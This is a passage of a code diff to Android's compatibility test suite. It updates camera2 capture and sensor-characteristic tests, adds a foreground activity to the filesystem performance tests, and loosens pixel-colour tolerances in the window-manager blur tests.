                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
@@ -309,7 +309,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
@@ -368,7 +368,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
@@ -474,7 +474,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
@@ -616,7 +616,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             CameraExtensionCharacteristics extensionChars =
@@ -760,7 +760,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
@@ -1066,7 +1066,7 @@
         for (String id : mCameraIdsUnderTest) {
             StaticMetadata staticMeta =
                     new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
-            if (!staticMeta.isColorCorrectionSupported()) {
+            if (!staticMeta.isColorOutputSupported()) {
                 continue;
             }
             updatePreviewSurfaceTexture();
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 8875edc..2534ba6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -816,7 +816,8 @@
                 }
                 openDevice(id);
                 Size maxPreviewSize = mOrderedPreviewSizes.get(0);
-                digitalZoomTestByCamera(maxPreviewSize);
+                digitalZoomTestByCamera(maxPreviewSize, /*repeating*/false);
+                digitalZoomTestByCamera(maxPreviewSize, /*repeating*/true);
             } finally {
                 closeDevice();
             }
@@ -2562,7 +2563,7 @@
         stopPreview();
     }
 
-    private void digitalZoomTestByCamera(Size previewSize) throws Exception {
+    private void digitalZoomTestByCamera(Size previewSize, boolean repeating) throws Exception {
         final int ZOOM_STEPS = 15;
         final PointF[] TEST_ZOOM_CENTERS;
         final float maxZoom = mStaticInfo.getAvailableMaxDigitalZoomChecked();
@@ -2649,6 +2650,7 @@
         };
 
         final int CAPTURE_SUBMIT_REPEAT;
+        final int NUM_RESULTS_TO_SKIP;
         {
             int maxLatency = mStaticInfo.getSyncMaxLatency();
             if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
@@ -2656,6 +2658,11 @@
             } else {
                 CAPTURE_SUBMIT_REPEAT = maxLatency + 1;
             }
+            if (repeating) {
+                NUM_RESULTS_TO_SKIP = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY + 1;
+            } else {
+                NUM_RESULTS_TO_SKIP = CAPTURE_SUBMIT_REPEAT - 1;
+            }
         }
 
         if (VERBOSE) {
@@ -2680,21 +2687,29 @@
                     if (VERBOSE) {
                         Log.v(TAG, "Testing Zoom for factor " + zoomFactor + " and center " +
                                 center + " The cropRegion is " + cropRegions[i] +
-                                " Preview size is " + previewSize);
+                                " Preview size is " + previewSize + ", repeating is " + repeating);
                     }
                     requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, cropRegions[i]);
                     requests[i] = requestBuilder.build();
-                    for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
-                        if (VERBOSE) {
-                            Log.v(TAG, "submit crop region " + cropRegions[i]);
+                    if (VERBOSE) {
+                        Log.v(TAG, "submit crop region " + cropRegions[i]);
+                    }
+                    if (repeating) {
+                        mSession.setRepeatingRequest(requests[i], listener, mHandler);
+                        // Drop first few frames
+                        waitForNumResults(listener, NUM_RESULTS_TO_SKIP);
+                        // Interleave a regular capture
+                        mSession.capture(requests[0], listener, mHandler);
+                    } else {
+                        for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
+                            mSession.capture(requests[i], listener, mHandler);
                         }
-                        mSession.capture(requests[i], listener, mHandler);
                     }
 
                     /*
                      * Validate capture result
                      */
-                    waitForNumResults(listener, CAPTURE_SUBMIT_REPEAT - 1); // Drop first few frames
+                    waitForNumResults(listener, NUM_RESULTS_TO_SKIP); // Drop first few frames
                     TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
                             requests[i], NUM_RESULTS_WAIT_TIMEOUT);
                     List<CaptureResult> partialResults = result.getPartialResults();
@@ -2756,7 +2771,7 @@
 
                 if (maxZoom > 1.0f) {
                     mCollector.expectTrue(
-                            String.format("Most zoomed-in crop region should be smaller" +
+                            String.format("Most zoomed-in crop region should be smaller " +
                                             "than active array w/h" +
                                             "(last crop = %s, active array = %s)",
                                             previousCrop, activeArraySize),
@@ -2955,7 +2970,7 @@
             }
 
             aspectRatiosTested.add(aspectRatio);
-            digitalZoomTestByCamera(size);
+            digitalZoomTestByCamera(size, /*repeating*/false);
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index d6d5cfc..4b48390 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -110,6 +110,7 @@
     private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000;
     private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000;
 
+    private static final long MIN_UHR_SENSOR_RESOLUTION = 24000000;
     /*
      * HW Levels short hand
      */
@@ -1481,65 +1482,100 @@
     }
 
     /**
-     * Check remosaic reprocessing capabilities. Check that ImageFormat.RAW_SENSOR is supported as
-     * input and output.
+     * Check ultra high resolution sensor characteristics.
      */
     @Test
-    public void testRemosaicReprocessingCharacteristics() {
+    public void testUltraHighResolutionSensorCharacteristics() {
         for (int i = 0; i < mAllCameraIds.length; i++) {
-            Log.i(TAG, "testRemosaicReprocessingCharacteristics: Testing camera ID " +
-                    mAllCameraIds[i]);
-
             CameraCharacteristics c = mCharacteristics.get(i);
+            String cameraId = mAllCameraIds[i];
             int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     capabilities);
+            boolean isUltraHighResolutionSensor = arrayContains(capabilities,
+                    CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_ULTRA_HIGH_RESOLUTION_SENSOR);
+
             boolean supportsRemosaic = arrayContains(capabilities,
                     CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_REMOSAIC_REPROCESSING);
-            if (!supportsRemosaic) {
-                Log.i(TAG, "Remosaic reprocessing not supported by camera id " + i +
-                        " skipping test");
+
+            if (!isUltraHighResolutionSensor) {
+                Log.i(TAG, "Camera id " + cameraId + " not ultra high resolution. Skipping " +
+                        "testUltraHighResolutionSensorCharacteristics");
                 continue;
             }
+            assertArrayContains(
+                    String.format("Ultra high resolution sensor, camera id %s" +
+                    " must also have the RAW capability", cameraId), capabilities,
+                    CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW);
             StreamConfigurationMap configs =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION);
-            Integer maxNumInputStreams =
-                    c.get(CameraCharacteristics.REQUEST_MAX_NUM_INPUT_STREAMS);
-            int[] inputFormats = configs.getInputFormats();
+            assertNotNull("Maximum resolution stream configuration map must not be null for ultra" +
+                    " high resolution sensor camera " + cameraId, configs);
+            Size uhrPixelArraySize = CameraTestUtils.getValueNotNull(
+                c, CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE_MAXIMUM_RESOLUTION);
+            long uhrSensorSize = uhrPixelArraySize.getHeight() * uhrPixelArraySize.getWidth();
+
+            assertTrue("ULTRA_HIGH_RESOLUTION_SENSOR pixel array size should be at least " +
+                    MIN_UHR_SENSOR_RESOLUTION + " pixels, is " + uhrSensorSize + ", for camera id "
+                    + cameraId, uhrSensorSize >= MIN_UHR_SENSOR_RESOLUTION);
+
             int[] outputFormats = configs.getOutputFormats();
+            assertArrayContains(String.format("No max res JPEG image format for ultra high" +
+                  " resolution sensor: ID %s", cameraId), outputFormats, ImageFormat.JPEG);
+            assertArrayContains(String.format("No max res YUV_420_88 image format for ultra high" +
+                  " resolution sensor: ID %s", cameraId), outputFormats, ImageFormat.YUV_420_888);
+            assertArrayContains(String.format("No max res RAW_SENSOR image format for ultra high" +
+                  " resolution sensor: ID %s", cameraId), outputFormats, ImageFormat.RAW_SENSOR);
 
-            mCollector.expectTrue("Support reprocessing but max number of input stream is " +
-                    maxNumInputStreams, maxNumInputStreams != null && maxNumInputStreams > 0);
+            if (supportsRemosaic) {
+                testRemosaicReprocessingCharacteristics(cameraId, c);
+            }
+      }
 
-            // Verify mandatory input formats are supported
-            mCollector.expectTrue("RAW_SENSOR input support needed for REMOSAIC reprocessing",
-                    arrayContains(inputFormats, ImageFormat.RAW_SENSOR));
-            // max capture stall must be reported if one of the reprocessing is supported.
-            final int MAX_ALLOWED_STALL_FRAMES = 4;
-            Integer maxCaptureStall = c.get(CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL);
-            mCollector.expectTrue("max capture stall must be non-null and no larger than "
-                    + MAX_ALLOWED_STALL_FRAMES,
-                    maxCaptureStall != null && maxCaptureStall <= MAX_ALLOWED_STALL_FRAMES);
+    }
+    /**
+     * Check remosaic reprocessing capabilities. Check that ImageFormat.RAW_SENSOR is supported as
+     * input and output.
+     */
+    private void testRemosaicReprocessingCharacteristics(String cameraId, CameraCharacteristics c) {
+        StreamConfigurationMap configs =
+                c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION);
+        Integer maxNumInputStreams =
+                c.get(CameraCharacteristics.REQUEST_MAX_NUM_INPUT_STREAMS);
+        int[] inputFormats = configs.getInputFormats();
+        int[] outputFormats = configs.getOutputFormats();
 
-            for (int input : inputFormats) {
-                // Verify mandatory output formats are supported
-                int[] outputFormatsForInput = configs.getValidOutputFormatsForInput(input);
+        mCollector.expectTrue("Support reprocessing but max number of input stream is " +
+                maxNumInputStreams, maxNumInputStreams != null && maxNumInputStreams > 0);
 
-                // Verify camera can output the reprocess input formats and sizes.
-                Size[] inputSizes = configs.getInputSizes(input);
-                Size[] outputSizes = configs.getOutputSizes(input);
-                Size[] highResOutputSizes = configs.getHighResolutionOutputSizes(input);
-                mCollector.expectTrue("no input size supported for format " + input,
-                        inputSizes.length > 0);
-                mCollector.expectTrue("no output size supported for format " + input,
-                        outputSizes.length > 0);
+        // Verify mandatory input formats are supported
+        mCollector.expectTrue("RAW_SENSOR input support needed for REMOSAIC reprocessing",
+                arrayContains(inputFormats, ImageFormat.RAW_SENSOR));
+        // max capture stall must be reported if one of the reprocessing is supported.
+        final int MAX_ALLOWED_STALL_FRAMES = 4;
+        Integer maxCaptureStall = c.get(CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL);
+        mCollector.expectTrue("max capture stall must be non-null and no larger than "
+                + MAX_ALLOWED_STALL_FRAMES,
+                maxCaptureStall != null && maxCaptureStall <= MAX_ALLOWED_STALL_FRAMES);
 
-                for (Size inputSize : inputSizes) {
-                    mCollector.expectTrue("Camera must be able to output the supported " +
-                            "reprocessing input size",
-                            arrayContains(outputSizes, inputSize) ||
-                            arrayContains(highResOutputSizes, inputSize));
-                }
+        for (int input : inputFormats) {
+            // Verify mandatory output formats are supported
+            int[] outputFormatsForInput = configs.getValidOutputFormatsForInput(input);
+
+            // Verify camera can output the reprocess input formats and sizes.
+            Size[] inputSizes = configs.getInputSizes(input);
+            Size[] outputSizes = configs.getOutputSizes(input);
+            Size[] highResOutputSizes = configs.getHighResolutionOutputSizes(input);
+            mCollector.expectTrue("no input size supported for format " + input,
+                    inputSizes.length > 0);
+            mCollector.expectTrue("no output size supported for format " + input,
+                    outputSizes.length > 0);
+
+            for (Size inputSize : inputSizes) {
+                mCollector.expectTrue("Camera must be able to output the supported " +
+                        "reprocessing input size",
+                        arrayContains(outputSizes, inputSize) ||
+                        arrayContains(highResOutputSizes, inputSize));
             }
         }
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
index 262f903..35edd77 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
@@ -94,7 +94,7 @@
     private SimpleMultiResolutionImageReaderListener mListener;
 
     @Test
-    public void testMultiResolutionCaptureCharacteristics() {
+    public void testMultiResolutionCaptureCharacteristics() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             if (VERBOSE) {
                 Log.v(TAG, "Testing multi-resolution capture characteristics for Camera " + id);
@@ -154,11 +154,8 @@
                                 physicalCameraIds.contains(physicalCameraId));
                     }
 
-                    StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId);
-                    CameraCharacteristics pChar = pInfo.getCharacteristics();
-                    StreamConfigurationMap pConfig = pChar.get(
-                            CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
-                    Size[] sizes = pConfig.getOutputSizes(format);
+                    Size[] sizes = CameraTestUtils.getSupportedSizeForFormat(format,
+                            physicalCameraId, mCameraManager);
                     assertTrue(String.format("Camera %s must "
                             + "support at least one output size for output "
                             + "format %d.", physicalCameraId, format),
@@ -166,13 +163,10 @@
 
                     List<Size> maxSizes = new ArrayList<Size>();
                     maxSizes.add(CameraTestUtils.getMaxSize(sizes));
-                    StreamConfigurationMap pMaxResConfig = pChar.get(CameraCharacteristics.
-                            SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION);
-                    if (pMaxResConfig != null) {
-                        Size[] maxResSizes = pMaxResConfig.getOutputSizes(format);
-                        if (maxResSizes != null && maxResSizes.length > 0) {
-                            maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
-                        }
+                    Size[] maxResSizes = CameraTestUtils.getSupportedSizeForFormat(format,
+                            physicalCameraId, mCameraManager, /*maxResolution*/true);
+                    if (maxResSizes != null && maxResSizes.length > 0) {
+                        maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
                     }
 
                     assertTrue(String.format("Camera %s's supported multi-resolution"
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 9009f9f..14032da 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -296,7 +296,7 @@
         testSingleCaptureForFormat(JPEG_FORMAT, "jpeg", /*addPreviewDelay*/ true);
         if (!mTestRule.isPerfMeasure()) {
             int[] YUV_FORMAT = {ImageFormat.YUV_420_888};
-            testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ false);
+            testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ true);
             int[] PRIVATE_FORMAT = {ImageFormat.PRIVATE};
             testSingleCaptureForFormat(PRIVATE_FORMAT, "private", /*addPreviewDelay*/ true);
             int[] RAW_FORMAT = {ImageFormat.RAW_SENSOR};
diff --git a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
index 61dde71..fab14b8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
@@ -28,6 +28,7 @@
 import android.media.ImageReader;
 import android.os.Build;
 import android.os.ConditionVariable;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Size;
 
@@ -69,6 +70,7 @@
     }
 
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testJpegZoomCapture() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             try {
@@ -82,6 +84,7 @@
     }
 
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testRawZoomCapture() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             try {
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index f04f0c2..5e2b926 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1682,16 +1682,31 @@
      */
     public static Size[] getSupportedSizeForFormat(int format, String cameraId,
             CameraManager cameraManager) throws CameraAccessException {
+        return getSupportedSizeForFormat(format, cameraId, cameraManager,
+                /*maxResolution*/false);
+    }
+
+    public static Size[] getSupportedSizeForFormat(int format, String cameraId,
+            CameraManager cameraManager, boolean maxResolution) throws CameraAccessException {
         CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
         assertNotNull("Can't get camera characteristics!", properties);
         if (VERBOSE) {
             Log.v(TAG, "get camera characteristics for camera: " + cameraId);
         }
-        StreamConfigurationMap configMap =
-                properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        CameraCharacteristics.Key<StreamConfigurationMap> configMapTag = maxResolution ?
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION :
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap configMap = properties.get(configMapTag);
+        if (configMap == null) {
+            assertTrue("SCALER_STREAM_CONFIGURATION_MAP is null!", maxResolution);
+            return null;
+        }
+
         Size[] availableSizes = configMap.getOutputSizes(format);
-        assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
-                + format);
+        if (!maxResolution) {
+            assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
+                    + format);
+        }
         Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(format);
         if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
             Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
diff --git a/tests/devicestate/OWNERS b/tests/devicestate/OWNERS
index e4b5734..8150657 100644
--- a/tests/devicestate/OWNERS
+++ b/tests/devicestate/OWNERS
@@ -2,5 +2,6 @@
 
 ogunwale@google.com
 akulian@google.com
+darryljohnson@google.com
 santoscordon@google.com
 michaelwr@google.com
diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml
index d203a1a..f559247 100644
--- a/tests/filesystem/AndroidManifest.xml
+++ b/tests/filesystem/AndroidManifest.xml
@@ -23,6 +23,9 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
+        <activity android:name=".FileActivity"
+             android:exported="true">
+        </activity>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.filesystem.cts"
diff --git a/tests/filesystem/src/android/filesystem/cts/FileActivity.java b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
new file mode 100644
index 0000000..58b108e
--- /dev/null
+++ b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.filesystem.cts;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A simple activity to stay foreground context.
+ */
+public class FileActivity extends Activity {
+    private static final String PACKAGE_NAME = "android.filesystem.cts";
+
+    public static void startFileActivity(Context context) {
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName(PACKAGE_NAME, FileActivity.class.getName()));
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 9f05994..1017081 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -65,6 +65,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         String streamName = "test_random_read";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
         double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
@@ -86,6 +87,7 @@
         while (usableSpace < fileSize) {
             fileSize = fileSize / 2;
         }
+        FileActivity.startFileActivity(getContext());
         String streamName = "test_random_update";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
         double mbps = -1;
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 269861c..a3e6f83 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -78,6 +78,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         final int numberOfFiles =(int)(fileSize / BUFFER_SIZE);
         String streamName = "test_single_sequential_write";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
@@ -115,6 +116,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         final int NUMBER_REPETITION = 3;
         String streamName = "test_single_sequential_update";
         FileUtil.doSequentialUpdateTest(getContext(), DIR_SEQ_UPDATE, fileSize, BUFFER_SIZE,
@@ -128,6 +130,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         long start = System.currentTimeMillis();
         final File file = FileUtil.createNewFilledFile(getContext(),
                 DIR_SEQ_RD, fileSize);
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index f0f40a6..287e67c 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -366,7 +366,7 @@
              android:theme="@style/no_starting_window"/>
         <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/>
         <activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity"
-             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
         <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/>
         <activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" />
         <activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 72a5aac..1d3a0c0 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -601,15 +601,19 @@
         <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
         <activity android:name=".BackgroundImageActivity"
              android:theme="@style/BackgroundImage"
+             android:colorMode="wideColorGamut"
              android:exported="true"/>
         <activity android:name=".BlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/TranslucentDialog"/>
         <activity android:name=".BlurAttributesActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BlurryDialog"/>
         <activity android:name=".BadBlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BadBlurryDialog"/>
 
         <!-- Splash Screen Test Activities -->
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 9099c67..dbfef28 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -89,11 +89,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        ExtensionUtils.assumeSupportedDevice(mContext);
 
         // Launch activity after the ActivityManagerTestBase clean all package states.
         mActivity = mActivityTestRule.launchActivity(new Intent());
-        ExtensionUtils.assumeSupportedDevice(mActivity);
-
         mExtension = ExtensionUtils.getInterfaceCompat(mActivity);
         assertThat(mExtension).isNotNull();
         mWindowToken = getActivityWindowToken(mActivity);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index a4196d8..23e47c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -344,10 +344,10 @@
             for (int y = 0; y < height; y++) {
                 if (x < blueWidth) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                            Color.BLUE, screenshot.getPixel(x, y), 1);
                 } else {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.RED, screenshot.getPixel(x, y), 0);
+                            Color.RED, screenshot.getPixel(x, y), 1);
                 }
             }
         }
@@ -374,20 +374,20 @@
             for (int y = 0; y < screenshot.getHeight(); y++) {
                 if (x < windowFrame.left) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                            Color.BLUE, screenshot.getPixel(x, y), 1);
                 } else if (x < screenshot.getWidth() / 2) {
                     if (y < windowFrame.top || y > windowFrame.bottom) {
                         ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                                Color.BLUE, screenshot.getPixel(x, y), 0);
+                                Color.BLUE, screenshot.getPixel(x, y), 1);
                     }
                 } else if (x <= windowFrame.right) {
                     if (y < windowFrame.top || y > windowFrame.bottom) {
                         ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                                Color.RED, screenshot.getPixel(x, y), 0);
+                                Color.RED, screenshot.getPixel(x, y), 1);
                     }
                 } else if (x > windowFrame.right) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.RED, screenshot.getPixel(x, y), 0);
+                            Color.RED, screenshot.getPixel(x, y), 1);
                 }
 
             }
@@ -398,7 +398,7 @@
         for (int y = windowFrame.top; y < windowFrame.bottom; y++) {
             for (int x = windowFrame.left; x < windowFrame.right; x++) {
                 ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                        NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 0);
+                        NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 1);
             }
         }
     }
@@ -415,14 +415,14 @@
 
         Color previousColor;
         Color currentColor;
-        final int unaffectedBluePixelX = width / 2 - blurRadius - 1;
-        final int unaffectedRedPixelX = width / 2 + blurRadius + 1;
+        final int unaffectedBluePixelX = width / 2 - blurRadius * 2 - 1;
+        final int unaffectedRedPixelX = width / 2 + blurRadius * 2 + 1;
         for (int y = startHeight; y < endHeight; y++) {
             ColorUtils.verifyColor(
                     "failed for pixel (x, y) = (" + unaffectedBluePixelX + ", " + y + ")",
-                    Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 0);
+                    Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 1);
             previousColor = Color.valueOf(Color.BLUE);
-            for (int x = blurAreaStartX; x <= blurAreaEndX; x += stepSize) {
+            for (int x = blurAreaStartX; x < blurAreaEndX; x += stepSize) {
                 currentColor = screenshot.getColor(x, y);
                 assertTrue("assertBlur failed for blue for pixel (x, y) = (" + x + ", " + y + ");"
                         + " previousColor blue: " + previousColor.blue()
@@ -437,7 +437,7 @@
             }
             ColorUtils.verifyColor(
                     "failed for pixel (x, y) = (" + unaffectedRedPixelX + ", " + y + ")",
